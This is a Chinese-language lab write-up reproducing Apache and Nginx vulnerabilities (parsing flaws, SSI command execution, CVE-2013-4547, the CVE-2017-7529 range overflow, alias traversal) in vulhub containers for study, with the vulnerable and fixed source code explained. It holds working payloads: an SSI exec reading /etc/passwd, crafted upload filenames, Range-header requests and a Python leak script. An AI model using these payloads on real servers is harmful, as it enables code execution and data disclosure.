Apache
介绍
Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。
Apache的目录结构
bin 存放常用的命令工具,例如httpd
cgi-bin 存放Linux下常用的命令,例如xxx.sh
conf Linux的配置相关文件,例如httpd.conf
error 错误记录
htdocs 放网站源码
icons 网站图标
logs 日志
manual 手册
modules 扩展模块
Apache换行解析漏洞(CVE-2017-15715)
影响版本:2.4.0~2.4.29
原理
apache配置文件中存在:
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
上面语句的作用是将以.php
结尾的文件当作php来解析
$ 匹配输入字符串的结尾位置,如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 '\n'换行或 '\r'回车。这时以.php\n
结尾的文件也能被解析为php,这样就能绕过黑名单来上传php文件
复现
拉取镜像
# 进入vulhub对应目录:/home/kali/vulhub/httpd/CVE-2017-15715/
docker-compose up -d
访问0.0.0.0:8080
查看配置文件
在vulnhub对应文件夹没找到配置文件,故采用以下办法:
# 查找apache配置文件所在路径(仅用于docker方式),然后访问即可
find / -name docker-php.conf
查看后端代码:
index.php:
<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']); //返回路径中的文件名部分
$ext = pathinfo($name,PATHINFO_EXTENSION); //返回文件名后缀
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}
?>
后端代码采用黑名单的方式对我们上传的文件名后缀进行过滤,我们上传1.php\n
来绕过黑名单,\n
代表换行
filename填1.php1
,最后的1
是用来占位,下一步将1改为0x0a(因为换行的hex编码是 0a)
//1.php1 内容
<?php phpinfo(); ?>
抓包修改filename:
访问1.pnp%oa
:
Apache多后缀解析漏洞
该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞
apache支持php有多种模式,常见的有module、cgi、fastcgi等,此漏洞存在于module模式。使用fastcig模式与php结合的所有版本apache不存在此漏洞(phpstudy使用的是就是CGI/FastCGI模式)。
原理
apache对文件后缀名的识别是从后向前进行匹配的,以单个.
作为分隔符。当遇到不认识的后缀时继续往前,直到识别,若都不识别就不做处理。在mime.types
中有定义哪些后缀是apache可识别的。
如果配置文件中有AddHandler application/x-httpd-php .php
,那么1.php.xxx
就会被解析为1.php
,漏洞就产生了。可利用此漏洞绕过后缀名检测
复现
拉取镜像
# 进入vulhub对应目录:/home/kali/vulhub/httpd/apache_parsing_vulnerability/
docker-compose up -d
访问0.0.0.0:8080
查看配置文件:
/home/kali/vulhub/httpd/apache_parsing_vulnerability/conf/docker-php.conf:
AddHandler application/x-httpd-php .php
DirectoryIndex disabled
DirectoryIndex index.php index.html
<Directory /var/www/>
Options -Indexes
AllowOverride All
</Directory>
查看后端代码:
index.php:
<?php
if (!empty($_FILES)):
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
die('Unsupported filetype uploaded.');
}
$new_name = __DIR__ . '/uploadfiles/' . $_FILES['file_upload']['name'];
if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){
die('Error uploading file - check destination is writeable.');
}
die('File uploaded successfully: ' . $new_name);
else:
?>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file_upload">
<input type="submit">
</form>
<?php
endif;
后端采用白名单的方式检测上传的文件后缀,利用1.php.jpg
来绕过
//1.php.jpg 内容
<?php phpinfo(); ?>
Apache SSI远程命令执行漏洞
影响版本:Apache全版本(支持SSI与CGI)
SSI
介绍:
Server Side Include,是一种类似于ASP的基于服务器的网页制作技术。将内容发送到浏览器之前,可以使用服务器端包含 (SSI)指令将文本、图形或应用程序信息包含到网页中。
因为包含 SSI 指令的文件要求特殊处理,所以必须为所有 SSI 文件赋予 SSI文件扩展名。默认扩展名是 .stm、.shtm 和 .shtml。
shtml和 asp 有一些相似,以shtml命名的文件里,使用了ssi的一些指令,就像asp中的指令,你可以在SHTML文件中写入SSI指令,当客户端访问这些shtml文件时,服务器端会把这些SHTML文件进行读取和解释,把SHTML文件中包含的SSI指令解释出来
主要有以下几种用用途:
1、显示服务器端环境变量<#echo>
2、将文本内容直接插入到文档中<#include>
3、显示WEB文档相关信息<#flastmod #fsize> (如文件制作日期/大小等)
4、直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
5、设置SSI信息显示格式<#config>;(如文件制作日期/大小显示方式) 高级SSI;可设置变量使用if条件语句。
apache开启SSI:
Apache默认是不支持SSI的,需要我们更改httpd.conf来进行配置。
以windows平台的Apache为例:
打开conf目录下的httpd.conf文件,把下面两行前面的#去掉。
#AddType text/html .shtml
#AddOutputFilter INCLUDES .shtml
然后搜索Options Indexes FollowSymLinks
,改为Options Indexes FollowSymLinks Includes
原理
shtml文件中的<#exec cmd="[command]">
,可以执行系统命令
复现
拉取镜像
# 进入vulhub对应目录:/home/kali/vulhub/httpd/ssi-rce/
docker-compose up -d
访问0.0.0.0:8080/upload.php
查看后端代码:
upload.php:
<?php
if (!empty($_FILES)):
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['php'])) {
die('Unsupported filetype uploaded.');
}
move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);
echo "<a href='/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>";
endif;
?>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file_upload">
<input type="submit">
</form>
后端采用黑名单的方式检测上传的文件后缀,利用1.shtml
来绕过
//1.shtml 内容
<p>
<!--#exec cmd="cat /etc/passwd" -->
</p>
Nginx
介绍
Nginx是一个高性能的HTTP和反向代理web服务器
Apache的目录结构
conf 存放nginx所有配置文件的目录,主要nginx.conf
html 存放nginx默认站点的目录,如index.html、error.html等
logs 存放nginx默认日志的目录,如error.log access.log
sbin 存放nginx主命令的目录,sbin/nginx
文件解析漏洞
该漏洞与nginx、php版本无关,属于用户配置不当造成的解析漏洞
配置:
php.ini:cgi.fix_pathinfo=1
(作用在原理里面讲)
php-fpm.conf:security.limit_extensions=[空,或者.jpg/.png]
(新版本的php才引入“security.limit_extensions”,它的作用是限制可执行文件的后缀,默认只允许执行.php文件,所以该漏洞很难利用)
原理
FastCGI
Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。Fastcgi协议是服务器中间件和某个语言后端进行数据交换的协议,它相当于 WEB 服务器 和 应用程序 连接的桥梁
PHP-FPM
FPM其实是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给FPM,FPM按照 fastcgi的协议将TCP流解析成真正的数据。
Nginx 并不能直接与 PHP-FPM 通信,而是将请求通过 FastCGI 交给 PHP-FPM 处理。
nginx与fpm
当nginx软件收到一个客户端的请求后,根据配置文件判断是否是PHP文件,如果是,则转发给fpm程序,fpm处理完之后返回结果给nginx,nginx再返回结果给客户端。
Nginx的配置文件server块里面有对PHP文件的识别和转发:
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
\.php$
这段正则可以识别以 .php 结尾的文件。
例子
(离别歌大佬写的太好了,就拿来用了,原文地址:https://www.leavesongs.com/penetration/fastcgi-and-php-fpm.html)
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2
,如果web目录是/var/www/html
,那么Nginx会根据Fastcgi协议 将这个请求变成如下key-value对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
然后发给PHP-FPM,这个数组其实就是PHP中$_SERVER
数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER
数组,也是告诉fpm:“我要执行哪个PHP文件”。
PHP-FPM拿到 Fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME
的值指向的PHP文件,也就是/var/www/html/index.php
。如果SCRIPT_FILENAME
的值是一个不存在的文件,则去掉最后一个/
及以后的所有内容,再次判断文件是否存在,往次循环,直到文件存在,最后也找不到就会报错。(这是因为 php.ini配置文件中cgi.fix_pathinfo=1 在发挥作用,这项配置用于修复路径,关闭该选项很可能会导致一些其他错误,所以一般是开启的)
比如/var/www/html/index.txt/.php
,fpm判断该文件不存在,会去掉/.php
,变成/var/www/html/index.txt
,如果这个文件存在,就会被当作php文件来执行。
这样就能将任意文件解析为php文件,从而导致代码执行。
利用方式
假如存在文件/var/www/html/nginx.png
,内容为<?php phpinfo();?>
用户请求http://127.0.0.1/nginx.png/.php
,nginx将会发送如下环境变量到 php-fpm 里:
{
...
'SCRIPT_FILENAME': '/var/www/html/nginx.png/.php',
'SCRIPT_NAME': '/nginx.png/.php',
'REQUEST_URI': '/nginx.png/.php',
'DOCUMENT_ROOT': '/var/www/html',
...
}
第一次php-fpm发现/var/www/html/nginx.png/.php
不存在,则去掉/.php
,再判断/var/www/html/nginx.png
是否存在。显然这个文件是存在的,于是被作为PHP文件执行,导致解析漏洞。
复现
拉取镜像
# 进入vulhub对应目录:/home/kali/vulhub/nginx/nginx_parsing_vulnerability/
docker-compose up -d
访问0.0.0.0:80
查看配置文件:
nginx相关配置:
location ~ \.php$ {
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REDIRECT_STATUS 200;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
fastcgi_pass php:9000;
}
php-fpm配置:
security.limit_extensions =
查看后端代码:
index.php:
<?php
if (!empty($_FILES)):
// Check for errors
if($_FILES['file_upload']['error'] > 0){
die('An error ocurred when uploading.');
}
if(!getimagesize($_FILES['file_upload']['tmp_name'])){
die('Please ensure you are uploading an image.');
}
// Check filetype
if(stripos($_FILES['file_upload']['type'], 'image/') !== 0){
die('Unsupported filetype uploaded.');
}
// Check filesize
if($_FILES['file_upload']['size'] > 500000){
die('File uploaded exceeds maximum upload size.');
}
// Check filesize
if(!is_uploaded_file($_FILES['file_upload']['tmp_name'])) {
die('File is not uploaded file');
}
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
die('Unsupported filetype uploaded.');
}
$new_name = __DIR__ . '/uploadfiles/' . md5($_FILES['file_upload']['name']) . ".{$ext}";
if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){
die('Error uploading file - check destination is writeable.');
}
die('File uploaded successfully: ' . $new_name);
else:
?>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file_upload">
<input type="submit">
</form>
<?php
endif;
后端代码限制上传文件类型必须为 image,而且还使用了 getimagesize() 函数来判断
上传一个1.jpg
,在原来图片内容后添加<?php phpinfo();?>
访问http://0.0.0.0/<上传图片地址>/.php
:
(我直接使用题目自带的nginx.png)
问题
都说该漏洞与nginx、php版本无关,属于用户配置不当造成的解析漏洞,但是我在本地win10的PHPtudy上没有复现成功,cgi.fix_pathinfo=1
配置没问题,但是找不到php-fpm.conf
文件,也就找不到security.limit_extensions
,然后就不知道该怎么办了,求指点(php版本是7.3.4)
文件名逻辑漏洞(CVE-2013-4547)
影响版本:0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
该漏洞利用了Nginx错误的解析了URL地址,导致可以绕过服务端限制,从而解析PHP文件,造成命令执行的危害。
原理
Nginx解析URL时,会扫描URL中的字符,扫描到每个字符的时候,都有属于当前的一个状态。
Nginx1.4.2 中解析URL的部分源码:(下载地址:https://github.com/nginx/nginx/releases/tag/release-1.4.1)
//第538行
case sw_check_uri:
switch (ch) {
case '.':
r->uri_ext = p;
break;
case ' ':
r->uri_end = p;
state = sw_check_uri_http_09;
break;
case '\0': //当遇到\0是,将会判断为非法字符
return NGX_HTTP_PARSE_INVALID_REQUEST;
···
}
case sw_check_uri_http_09:
switch (ch) {
case ' ':
break;
case CR:
r->http_minor = 9;
state = sw_almost_done;
break;
case LF:
r->http_minor = 9;
goto done;
case 'H':
r->http_protocol.data = p;
state = sw_http_H;
break;
default:
r->space_in_uri = 1;
state = sw_check_uri;
break;
}
break;
首先要明白进入下一个状态之前会自动执行 p++
,也就是将要解析的ULR字符后移一位。
如果URL中有\0
,解析到它时会直接返回NGX_HTTP_PARSE_INVALID_REQUEST
,触发异常,但是如果在\0
前面是空格,解析到空格时会跳转到sw_check_uri_http_09状态
,这时候要解析的字符变成\0
,然后进入default:
又跳转回sw_check_uri状态
,这时候要解析的字符变成\0
后面的字符,这样\0
就被nginx忽略跳过去而不会触发异常,然后继续解析后面的字符。
例子
URL:http://127.0.0.1/shell.jpg[0x20][0x00].php
(0x20:空格;0x00:\0)
nginx服务器接收到请求,自己要对URL进行解析,遇到[0x20][0x00]
的时候,根据上面所讲的可以知道nginx会跳过[0x00]
去解析.
,而.
被为是URL的扩展名的分隔符,最终导致nginx认为此次请求的后缀名为php,然后传给php-fpm进行处理。(SCRIPT_NAME 是 shell.jpg[0x20].php)
而php-fpm在查找文件的时候被\0
截断,最终取到shell.jpg[0x20]
文件,然后就会将shell.jpg[0x20]
里的内容解析为PHP(注:Linux下php-fpm默认限制的后缀名为php,如未取消限制,访问将出现access denied。测试想要查看执行结果,需修改php-fpm.conf中的security.limit_extensions为空,即允许任意后缀名文件作为php解析。)
所以要利用这一漏洞,就要上传一个shell.jpg[0x20]
文件,如何上传在下面会讲。
复现
拉取镜像
# 进入vulhub对应目录:/home/kali/vulhub/nginx/CVE-2013-4547/
docker-compose up -d
访问0.0.0.0:8080
查看配置文件:
nginx相关配置:
location ~ \.php$ {
root html;
include fastcgi_params;
fastcgi_pass php:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
php-fpm配置:
security.limit_extensions =
php_admin_flag[cgi.fix_pathinfo] = off
查看后端代码:
index.php:
<?php
if (!empty($_FILES)):
// Check for errors
if($_FILES['file_upload']['error'] > 0){
die('An error ocurred when uploading.');
}
// Check filesize
if(!is_uploaded_file($_FILES['file_upload']['tmp_name'])) {
die('File is not uploaded file');
}
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (empty($ext) || in_array($ext, ['php', 'php3', 'php5', 'phtml'])) {
die('Unsupported filetype uploaded.');
}
$new_name = __DIR__ . '/uploadfiles/' . $_FILES['file_upload']['name'];
if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){
die('Error uploading file - check destination is writeable.');
}
die('File uploaded successfully: ' . $new_name);
else:
?>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file_upload">
<input type="submit">
</form>
<?php
endif;
后端代码采用黑名单来检查上传文件后缀,不能上传'php', 'php3', 'php5', 'phtml'文件。
上传shell.jpg1
,内容为<?php phpinfo(); ?>
,抓包修改1的位置为[0x20]
,上传到服务器后文件就会保存为'shell.jpg '
,注意这里最后有一个空格。
然后访问/uploadfiles/shell.jpg11.php
抓包修改11两个位置为[0x20]/[0x00]
:
访问成功:
修复
上面给出的是 nginx1.4.1的漏洞代码部分,我又对照了nginx1.4.4的源码,知道了是如何修复的。
nginx1.4.4/src/http/ngx_http_parse.c:
case sw_check_uri_http_09:
switch (ch) {
case ' ':
break;
case CR:
r->http_minor = 9;
state = sw_almost_done;
break;
case LF:
r->http_minor = 9;
goto done;
case 'H':
r->http_protocol.data = p;
state = sw_http_H;
break;
default:
r->space_in_uri = 1;
state = sw_check_uri;
p--; //相比1.4.1,多了一行 p--
break;
}
break;
相比1.4.1,1.4.4 多了一行 p--
,它的作用是将要解析的字符移动到上一个字符,可能有点难理解,举个例子:
首先要明白进入下一个状态之前会自动执行 p++
1.4.4版本遇到[0x20][0x00].
,跟1.4.1版本一样遇到空格会跳入sw_check_uri_http_09状态
,这时候 p指的字符是[0x00]
,因为进入下一个状态之前会自动执行了 p++
。经过default
的处理,state = sw_check_uri
,并且执行p--
,然后执行break跳转到下一状态,跳转前自动执行 p++
,这时候 p指的字符是[0x00]
,而不是.
,在sw_check_uri状态
遇到[0x00]
会直接返回NGX_HTTP_PARSE_INVALID_REQUEST
,触发异常。
总结
这个漏洞比较难利用,但是值得学习的地方很多。
Nginx越界读取缓存漏洞(CVE-2017-7529)
影响版本:Nginx 0.5.6 ~ 1.13.2
原理
Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。
如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
HTTP范围请求
HTTP 协议范围请求允许服务器只发送 HTTP 消息的一部分到客户端。范围请求在传送大的媒体文件,或者与文件下载的断点续传功能搭配使用时非常有用。
检测服务器端是否支持范围请求
假如在响应中存在 Accept-Ranges
首部(并且它的值不为 “none”),那么表示该服务器支持范围请求。例如,你可以使用 cURL 发送一个HEAD
请求来进行检测:
(curl中 -i
参数可以显示 http response 的头信息,连同网页代码一起。-I
参数则只显示 http response 的头信息,-H
参数可以在请求中追加一个首部行,-r
参数检索来自HTTP/1.1或FTP服务器字节范围)
curl -i http://192.168.231.140:8080
如何从服务器端请求特定的范围?
假如服务器支持范围请求的话,你可以使用Range
首部来生成该类请求。该首部指示服务器应该返回文件的哪一或哪几部分。
Range
首部的写法有三种:
# 1.单一范围
Range:bytes=0-1024 表示访问第0到第100字节;
# 例子
curl http://192.168.231.140:8080 -H "Range: bytes=0-100"
# 2.多重范围
Range:bytes=100-200,601-999,-300 表示分三块访问,分别是0到20字节,100到120字节,最后的40字节;
# 例子
curl http://192.168.231.140:8080 -H "Range: bytes=0-20,100-120,-40"
# 3.条件式范围请求
# 该方法在此处用处不大,故不做介绍
想详细了解参考这里:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Range_requests
漏洞代码
nginx1.13.1/ngx_http_range_filter_module.c:
//357行
if (suffix) {
start = content_length - end;
end = content_length - 1;
}
这段代码是rang为多重范围的情况(Range:bytes=-end)下start 和 end 计算方法,比如Range:bytes=-300
,content_length=400,那么 start = 400 - 300 = 100,end = 400 - 1 = 399
如果end > content_length,那么start 为负数,这样我们就能读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容
//371行
if (start < end) {
range = ngx_array_push(&ctx->ranges);
if (range == NULL) {
return NGX_ERROR;
}
range->start = start;
range->end = end;
size += end - start; // 计算size
if (ranges-- == 0) {
return NGX_DECLINED;
}
}
这段代码的作用是计算所有range长度的总和(size)
//396行
if (size > content_length) {
return NGX_DECLINED;
}
这段代码的作用是检测 size,如果range的总长度超过content-length,就直接将原始文件返回。
当我们传入Range:bytes=-300,-300
(假如content-length=200),那么start=200-300=-100(这样在Cache文件偏移之前的100 字节也会被返回),end=199,size=199-(-100)=299>content-length,这样就直接将原始文件返回,不会返回多余的字节
可以使用size长度溢出来绕过这一限制,nginx的源码在声明start,end时用的是64位有符号整型,所以最大可表示:2^63-1=9223372036854775807。由代码可知size可以是由多个range范围相加得到,如果第一个range的size + 第二个的range的size超出9223372036854775807,就可以绕过size > content_length
的判断。
复现
拉取镜像
# 进入vulhub对应目录:/home/kali/vulhub/nginx/CVE-2017-7529/
docker-compose up -d
访问0.0.0.0:8080,出现以下页面则说明搭建成功:
查看配置文件:
nginx相关配置:
location / {
proxy_pass http://127.0.0.1:8081/;
proxy_set_header HOST $host; # 反向代理本机
proxy_cache cache_zone; # 开启cache
add_header X-Proxy-Cache $upstream_cache_status; #说明开启了缓存
proxy_ignore_headers Set-Cookie;
}
先查看文件长度:
curl -I http://192.168.231.140:8080
content_length = 612,X-Proxy-Cache = HIT说明此时缓存命中
设置第一段range=-1212(612+600,size_1=1212),这样可以读取缓存文件前600个字节
设置第二段range=-9223372036854774596(9223372036854775808 - 1212,size_2=9223372036854774596)
size_1 + sieze_2 = 1212 + 9223372036854774596 = 9223372036854775808 > 9223372036854775807
curl http://192.168.231.140:8080 -r -1212,-9223372036854774596
但是我在win10测试时候没有输出,原因是输出会导致乱码,所以我又在pycharm中使用脚本执行了一次
脚本:
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://192.168.231.140:8080/ offset" % (sys.argv[0]))
sys.exit()
headers = {}
offset = int(sys.argv[2])
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
print(r.text)
获取到缓存文件之前的600个字节,里面的8081端口在实际的业务场景中可能是其他的地址,这样便会造成信息泄漏。
修复
//357行,限制了start不能为负的,最小只能是0
if (suffix) {
start = (end < content_length) ? content_length - end : 0;
end = content_length - 1;
}
//380行,检测了size的溢出情况,防止size溢出后造成size小于content-length这条判断的绕过
if (size > NGX_MAX_OFF_T_VALUE - (end - start)) {
return NGX_HTTP_RANGE_NOT_SATISFIABLE;
}
Nginx目录穿越漏洞
影响版本:全版本
原理
Nginx的目录穿越漏洞严格定义的话,并非是漏洞,而是Nginx的特性,由于运维人员或者开发人员配置错误而导致的漏洞。
Nginx在配置别名(Alias)的时候,如果忘记加/
,将造成一个目录穿越漏洞。
错误的配置文件示例(原本的目的是为了让用户访问到/home/目录下的文件):
location /files {
alias /home/;
}
alias指定的路径是location的别名,不管location的值怎么写,资源的真实路径都是 alias 指定的路径
比如访问http://127.0.0.1/files/test.php
,其实访问资源的真实路径是/home/test.php
,就是将/files
替换为/home/
如果访问http://127.0.0.1/files../
,访问资源的真实路径是/home/../
,这样就造成目录穿越
复现
拉取镜像
# 进入vulhub对应目录:/home/kali/vulhub/nginx/insecure-configuration/
docker-compose up -d
访问0.0.0.0:8081:
查看配置文件:
nginx相关配置:
location /files {
alias /home/;
}
访问http://192.168.231.140:8081/files../
:
参考文章
https://zhuanlan.zhihu.com/p/125115734
https://zhuanlan.zhihu.com/p/136801555
https://segmentfault.com/a/1190000012407268
https://qcsdn.com/article/266701.html
https://news.68idc.cn/server/safe/20150412318860.html
https://www.cnblogs.com/liyuanhong/articles/11181520.html
https://www.leavesongs.com/penetration/fastcgi-and-php-fpm.html